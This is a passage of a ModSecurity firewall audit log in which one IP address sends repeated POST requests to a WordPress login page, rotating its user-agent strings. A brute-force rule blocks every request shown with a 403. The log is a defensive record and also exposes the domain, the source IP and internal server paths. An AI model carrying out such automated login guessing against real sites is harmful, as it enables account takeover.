[13/Sep/2026:18:39:30.929663 +0300] aqbDsvut1GUrjaX0wO446gAAANI 134.185.87.66 47122 127.0.0.1 7081
--e1de3269-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e1de3269-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e1de3269-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970927243 2490 (- - -)
Stopwatch2: 1789313970927243 2490; combined=738, p1=346, p2=109, p3=0, p4=0, p5=283, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e1de3269-Z--

--c0fd9349-A--
[13/Sep/2026:18:39:31.326412 +0300] aqbDs-ut1GUrjaX0wO447AAAANY 134.185.87.66 47144 127.0.0.1 7081
--c0fd9349-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c0fd9349-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c0fd9349-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313971324301 2187 (- - -)
Stopwatch2: 1789313971324301 2187; combined=691, p1=357, p2=98, p3=0, p4=0, p5=235, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c0fd9349-Z--

--5c3a6b1b-A--
[13/Sep/2026:18:39:31.706172 +0300] aqbDs-ut1GUrjaX0wO447gAAAMQ 134.185.87.66 47158 127.0.0.1 7081
--5c3a6b1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5c3a6b1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5c3a6b1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313971703768 2460 (- - -)
Stopwatch2: 1789313971703768 2460; combined=756, p1=300, p2=164, p3=0, p4=0, p5=291, sr=144, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5c3a6b1b-Z--

--7585253b-A--
[13/Sep/2026:18:39:32.093207 +0300] aqbDtPut1GUrjaX0wO447wAAAM8 134.185.87.66 47178 127.0.0.1 7081
--7585253b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7585253b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7585253b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972091235 2027 (- - -)
Stopwatch2: 1789313972091235 2027; combined=640, p1=350, p2=65, p3=0, p4=0, p5=225, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7585253b-Z--

--5bf3a555-A--
[13/Sep/2026:18:39:32.475402 +0300] aqbDtPut1GUrjaX0wO448AAAAMc 134.185.87.66 47210 127.0.0.1 7081
--5bf3a555-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5bf3a555-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5bf3a555-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972473717 1739 (- - -)
Stopwatch2: 1789313972473717 1739; combined=537, p1=241, p2=72, p3=0, p4=0, p5=224, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5bf3a555-Z--

--ac242841-A--
[13/Sep/2026:18:39:32.853702 +0300] aqbDtPut1GUrjaX0wO448QAAAMM 134.185.87.66 47228 127.0.0.1 7081
--ac242841-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ac242841-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ac242841-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972852018 1749 (- - -)
Stopwatch2: 1789313972852018 1749; combined=591, p1=278, p2=70, p3=0, p4=0, p5=243, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ac242841-Z--

--aab1d410-A--
[13/Sep/2026:18:39:33.235674 +0300] aqbDtfut1GUrjaX0wO448wAAANc 134.185.87.66 47258 127.0.0.1 7081
--aab1d410-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aab1d410-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aab1d410-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973234101 1627 (- - -)
Stopwatch2: 1789313973234101 1627; combined=551, p1=220, p2=70, p3=0, p4=0, p5=261, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aab1d410-Z--

--82d7514b-A--
[13/Sep/2026:18:39:33.619756 +0300] aqbDtUhjHs68UzErry1K0wAAAJY 134.185.87.66 47280 127.0.0.1 7081
--82d7514b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--82d7514b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--82d7514b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973618044 1789 (- - -)
Stopwatch2: 1789313973618044 1789; combined=595, p1=212, p2=79, p3=0, p4=0, p5=303, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--82d7514b-Z--

--3c03d419-A--
[13/Sep/2026:18:39:34.000041 +0300] aqbDtfut1GUrjaX0wO449QAAANU 134.185.87.66 47298 127.0.0.1 7081
--3c03d419-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3c03d419-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3c03d419-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973998429 1667 (- - -)
Stopwatch2: 1789313973998429 1667; combined=612, p1=276, p2=91, p3=0, p4=0, p5=245, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c03d419-Z--

--0aa80529-A--
[13/Sep/2026:18:39:34.403359 +0300] aqbDtvut1GUrjaX0wO449wAAANM 134.185.87.66 47314 127.0.0.1 7081
--0aa80529-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0aa80529-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0aa80529-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313974387565 15879 (- - -)
Stopwatch2: 1789313974387565 15879; combined=10034, p1=398, p2=302, p3=0, p4=0, p5=9334, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0aa80529-Z--

--fe0a8c7c-A--
[13/Sep/2026:18:39:34.774902 +0300] aqbDtvut1GUrjaX0wO44@gAAAMY 134.185.87.66 47342 127.0.0.1 7081
--fe0a8c7c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fe0a8c7c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fe0a8c7c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313974773118 1852 (- - -)
Stopwatch2: 1789313974773118 1852; combined=579, p1=223, p2=79, p3=0, p4=0, p5=277, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe0a8c7c-Z--

--5caaea05-A--
[13/Sep/2026:18:39:35.157997 +0300] aqbDtxsbgHO3aGL3jiTwuwAAAAM 134.185.87.66 47368 127.0.0.1 7081
--5caaea05-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5caaea05-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5caaea05-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975156173 1878 (- - -)
Stopwatch2: 1789313975156173 1878; combined=608, p1=245, p2=78, p3=0, p4=0, p5=285, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5caaea05-Z--

--f4a2ad3b-A--
[13/Sep/2026:18:39:35.537460 +0300] aqbDt1dqBhgxDSpG7haLFgAAAFE 134.185.87.66 35366 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975535219 2335 (- - -)
Stopwatch2: 1789313975535219 2335; combined=776, p1=315, p2=102, p3=0, p4=0, p5=358, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4a2ad3b-Z--

--4745c668-A--
[13/Sep/2026:18:39:35.921670 +0300] aqbDt-ut1GUrjaX0wO44-AAAAM4 134.185.87.66 35376 127.0.0.1 7081
--4745c668-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4745c668-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4745c668-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975919904 1835 (- - -)
Stopwatch2: 1789313975919904 1835; combined=668, p1=280, p2=81, p3=0, p4=0, p5=307, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4745c668-Z--

--500a6953-A--
[13/Sep/2026:18:39:36.303719 +0300] aqbDuPut1GUrjaX0wO44-gAAAMA 134.185.87.66 35382 127.0.0.1 7081
--500a6953-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--500a6953-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--500a6953-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313976301442 2378 (- - -)
Stopwatch2: 1789313976301442 2378; combined=891, p1=353, p2=124, p3=0, p4=0, p5=413, sr=163, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--500a6953-Z--

--aa60bd76-A--
[13/Sep/2026:18:39:36.686761 +0300] aqbDuFdqBhgxDSpG7haLFwAAAEM 134.185.87.66 35394 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aa60bd76-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
